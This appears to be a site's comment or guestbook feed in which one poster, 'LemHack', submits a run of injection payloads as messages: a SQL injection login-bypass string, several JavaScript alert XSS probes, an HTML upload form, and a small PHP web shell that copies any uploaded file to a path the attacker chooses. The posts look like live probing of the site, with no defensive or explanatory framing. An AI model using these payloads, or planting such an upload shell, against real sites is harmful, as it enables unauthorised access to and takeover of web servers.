25.08.2021 / 18:15

LemHack

------

' or '1'='1

25.08.2021 / 18:14

LemHack

------

<form method="POST" action="http://" enctype="multipart/form-data" > <input type="file" name="Filedata"></center><br> <input type="submit" name="Submit" value="Upload"> </form>

25.08.2021 / 18:11

LemHack

------

<script>alert("Это сообщение");</script>

25.08.2021 / 18:10

LemHack

------

<input name=message type=alert('Message')>

25.08.2021 / 18:10

LemHack

------

<input name=kuku type=submit value="Alert" onClick="alert('Это сообщение!')">

25.08.2021 / 18:08

LemHack

------

<form action="" method="post" enctype="multipart/form-data">
<input name="path" size="1" value="<?echo(@getcwd());?>">
<input type="submit" name="upl0ad" value="+">
<input type="file" name="file" size="1"></form>
<?
$tempupload = $_FILES['file']['tmp_name'];
if (file_exists($tempupload)){
$path = $_POST['path'];
$upload = $_FILES['file']['name'];
$pwdslash = $path."/".$upload;
copy($tempupload, $pwdslash);
echo "+";
}
?>